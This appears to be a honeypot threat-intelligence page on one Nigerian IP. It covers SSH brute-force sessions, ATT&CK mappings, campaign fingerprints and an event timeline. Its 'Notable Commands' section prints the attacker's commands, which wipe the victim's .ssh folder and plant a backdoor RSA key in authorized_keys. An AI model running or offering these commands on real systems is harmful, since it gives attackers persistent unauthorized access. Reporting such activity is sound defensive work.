← Back to feed

102.91.123.220

TAGGED SUSPICIOUS how we decide →

Threat Confidence

60%

Location

🇳🇬 NG / Abuja

ASN

AS29465 · MTN NIGERIA Communication limited

Cloud Provider

—

Total Events

556

Top 10% by volume

Agent Count

First / Last Seen

2026-09-02 11:30 — 2026-09-02 12:35

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-09-02 10:00

blocklist_de:reported

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (430 IPs, 66 countries) HASSH Active high 🇺🇸 US

430 IPs 488129 events

ssh:bruteforce

2026-02-25 — ongoing · 430 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …

Session Forensics

malware_dropper ×17 credential_probe ×50 opportunistic_bruter ×17

Sessions

84 (34 with login)

Avg Depth Score

0.42

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Malware Dropper 3d7f2a78dde2 w4m_singapore_01 · 2026-09-02 12:34

3 1 1 100%

Loading events...

Opportunistic Bruter 53194103da57 w4m_singapore_01 · 2026-09-02 12:35

1 50%

Loading events...

Credential Probe ec1773c89435 w4m_singapore_01 · 2026-09-02 12:35

1 20%

Loading events...

Credential Probe c911ec926725 w4m_singapore_01 · 2026-09-02 12:33

1 20%

Loading events...

Opportunistic Bruter 37dc13efe6c9 w4m_singapore_01 · 2026-09-02 12:32

1 50%

Loading events...

Malware Dropper e0aa95888498 w4m_singapore_01 · 2026-09-02 12:32

3 1 1 100%

Loading events...

Credential Probe 0440e51b2433 w4m_singapore_01 · 2026-09-02 12:32

1 20%

Loading events...

Opportunistic Bruter 36413e123363 w4m_singapore_01 · 2026-09-02 12:31

1 50%

Loading events...

Malware Dropper f01445268af1 w4m_singapore_01 · 2026-09-02 12:31

3 1 1 100%

Loading events...

Credential Probe 53b2d85d43fd w4m_singapore_01 · 2026-09-02 12:31

1 20%

Loading events...

Credential Probe ef3699f0eb96 w4m_singapore_01 · 2026-09-02 12:29

1 20%

Loading events...

Credential Probe b2b41665b387 w4m_singapore_01 · 2026-09-02 12:28

1 20%

Loading events...

Credential Probe 4ea5c5e1cc68 w4m_singapore_01 · 2026-09-02 12:27

1 20%

Loading events...

Credential Probe 28b5a4d1300b w4m_singapore_01 · 2026-09-02 12:25

1 20%

Loading events...

Credential Probe adc9f9f26c47 w4m_singapore_01 · 2026-09-02 12:24

1 20%

Loading events...

Credential Probe 8b84fb67ac94 w4m_singapore_01 · 2026-09-02 12:23

1 20%

Loading events...

Malware Dropper fa223a101efe w4m_singapore_01 · 2026-09-02 12:22

3 1 1 100%

Loading events...

Opportunistic Bruter 49874d7907b5 w4m_singapore_01 · 2026-09-02 12:22

1 50%

Loading events...

Credential Probe b77122885cab w4m_singapore_01 · 2026-09-02 12:22

1 20%

Loading events...

Credential Probe c83ce3738361 w4m_singapore_01 · 2026-09-02 12:20

1 20%

Loading events...

Credential Probe ddadc764a33c w4m_singapore_01 · 2026-09-02 12:19

1 20%

Loading events...

Credential Probe 381492799ae9 w4m_singapore_01 · 2026-09-02 12:18

1 20%

Loading events...

Credential Probe aafb527b1854 w4m_singapore_01 · 2026-09-02 12:17

1 20%

Loading events...

Malware Dropper 5a2a98fa64ef w4m_singapore_01 · 2026-09-02 12:15

3 1 1 100%

Loading events...

Opportunistic Bruter 914da74c4ac3 w4m_singapore_01 · 2026-09-02 12:16

1 50%

Loading events...

Credential Probe 4bec3b909583 w4m_singapore_01 · 2026-09-02 12:15

1 20%

Loading events...

Malware Dropper 6c47bf1746fd w4m_singapore_01 · 2026-09-02 12:14

3 1 1 100%

Loading events...

Opportunistic Bruter 5783f1ede587 w4m_singapore_01 · 2026-09-02 12:14

1 50%

Loading events...

Credential Probe 6ca79afdec3b w4m_singapore_01 · 2026-09-02 12:14

1 20%

Loading events...

Credential Probe e9a1c6928786 w4m_singapore_01 · 2026-09-02 12:13

1 20%

Loading events...

Credential Probe 2b5f4eaee754 w4m_singapore_01 · 2026-09-02 12:12

1 20%

Loading events...

Credential Probe 49526139b2f8 w4m_singapore_01 · 2026-09-02 12:10

1 20%

Loading events...

Malware Dropper 00ab37de19f0 w4m_singapore_01 · 2026-09-02 12:09

3 1 1 100%

Loading events...

Opportunistic Bruter 116bb69df2cc w4m_singapore_01 · 2026-09-02 12:09

1 50%

Loading events...

Credential Probe 0a7f5429a8c0 w4m_singapore_01 · 2026-09-02 12:09

1 20%

Loading events...

Credential Probe 7d38a087d890 w4m_singapore_01 · 2026-09-02 12:08

1 20%

Loading events...

Credential Probe e7983572591e w4m_singapore_01 · 2026-09-02 12:07

1 20%

Loading events...

Credential Probe 80aa7e8dad16 w4m_singapore_01 · 2026-09-02 12:05

1 20%

Loading events...

Credential Probe c077647e0ae4 w4m_singapore_01 · 2026-09-02 12:04

1 20%

Loading events...

Credential Probe ed7236994777 w4m_singapore_01 · 2026-09-02 12:03

1 20%

Loading events...

Opportunistic Bruter ba0385107a09 w4m_singapore_01 · 2026-09-02 12:02

1 50%

Loading events...

Malware Dropper dad61b3cb42c w4m_singapore_01 · 2026-09-02 12:02

3 1 1 100%

Loading events...

Credential Probe 0bd016703a43 w4m_singapore_01 · 2026-09-02 12:02

1 20%

Loading events...

Credential Probe e95f3a900677 w4m_singapore_01 · 2026-09-02 12:00

1 20%

Loading events...

Opportunistic Bruter 469e88d0fe3a w4m_singapore_01 · 2026-09-02 11:59

1 50%

Loading events...

Malware Dropper 0d3ea8f2413f w4m_singapore_01 · 2026-09-02 11:59

3 1 1 100%

Loading events...

Credential Probe 706f64bd48c3 w4m_singapore_01 · 2026-09-02 11:59

1 20%

Loading events...

Opportunistic Bruter 36640b868f22 w4m_singapore_01 · 2026-09-02 11:58

1 50%

Loading events...

Malware Dropper bae78724f7bc w4m_singapore_01 · 2026-09-02 11:58

3 1 1 100%

Loading events...

Credential Probe e21fd487c5a6 w4m_singapore_01 · 2026-09-02 11:58

1 20%

Loading events...